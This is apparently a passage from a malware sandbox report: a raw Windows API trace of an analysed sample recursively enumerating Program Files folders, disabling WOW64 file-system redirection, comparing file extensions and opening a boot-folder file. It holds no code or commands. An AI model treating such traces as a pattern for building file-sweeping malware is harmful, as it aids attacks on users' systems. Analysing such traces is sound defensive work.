ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0290.088] FindClose (in: hFindFile=0x3e81c68 | out: hFindFile=0x3e81c68) returned 1 [0290.088] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.089] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0 [0290.089] FindClose (in: hFindFile=0x3e81ca8 | out: hFindFile=0x3e81ca8) returned 1 [0290.089] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0290.089] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1 [0290.091] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.091] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0290.092] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.092] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0290.092] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.092] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0290.092] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.092] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0290.092] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.092] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0290.093] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.093] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0290.093] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.093] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0290.093] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.093] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0290.093] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.093] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0290.093] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.093] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0290.093] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.093] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0290.094] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.094] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0 [0290.094] FindClose (in: hFindFile=0x3e81da8 | out: hFindFile=0x3e81da8) returned 1 [0290.094] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.094] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0290.095] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.095] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0290.095] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.095] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0290.096] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.096] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0290.096] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.096] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0290.097] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.097] FindNextFileW (in: hFindFile=0x3e81f28, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0290.097] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.097] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0290.097] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.097] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0290.098] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.098] FindNextFileW (in: hFindFile=0x3e819e8, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0290.098] FindClose (in: hFindFile=0x3e819e8 | out: hFindFile=0x3e819e8) returned 1 [0290.098] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.098] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0290.098] FindClose (in: hFindFile=0x3e81b68 | out: hFindFile=0x3e81b68) returned 1 [0290.098] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.098] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0290.099] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.099] FindNextFileW (in: hFindFile=0x3e81e28, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0290.099] FindClose (in: hFindFile=0x3e81e28 | out: hFindFile=0x3e81e28) returned 1 [0290.099] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.099] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0 [0290.099] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0290.099] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.099] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0290.099] FindClose (in: hFindFile=0x3e81ee8 | out: hFindFile=0x3e81ee8) returned 1 [0290.099] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.100] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0290.101] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0290.101] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0290.101] FindClose (in: hFindFile=0x3e81b68 | out: hFindFile=0x3e81b68) returned 1 [0290.101] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.101] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0290.101] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0290.102] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0290.103] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1 [0290.105] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.105] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0290.106] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f520e0 | out: hHeap=0x730000) returned 1 [0290.106] FindNextFileW (in: hFindFile=0x3e81e28, lpFindFileData=0x2f7e69c | out: lpFindFileData=0x2f7e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0290.106] FindClose (in: hFindFile=0x3e81e28 | out: hFindFile=0x3e81e28) returned 1 [0290.106] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 Thread: id = 3459 os_tid = 0x27ac [0286.034] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x3750088 [0286.034] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x3760090 [0286.034] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c99f0 [0286.034] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x7c56e8 [0286.034] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9a08 [0286.034] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x3b0a020 [0286.037] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9a20 [0286.037] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9a20, Size=0x20) returned 0x7bd850 [0286.037] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9a20 [0286.037] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9a20, Size=0x20) returned 0x7bd7b0 [0286.037] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0286.037] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0286.037] Wow64DisableWow64FsRedirection (in: OldValue=0x30bff50 | out: OldValue=0x30bff50*=0x0) returned 1 [0286.037] lstrlenW (lpString="kernel32.dll") returned 12 [0286.037] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd850 | out: hHeap=0x730000) returned 1 [0286.037] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0286.037] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd7b0 | out: hHeap=0x730000) returned 1 [0286.038] Sleep (dwMilliseconds=0x64) [0286.311] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0286.311] lstrlenW (lpString="memtest.exe.mui") returned 15 [0286.311] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: 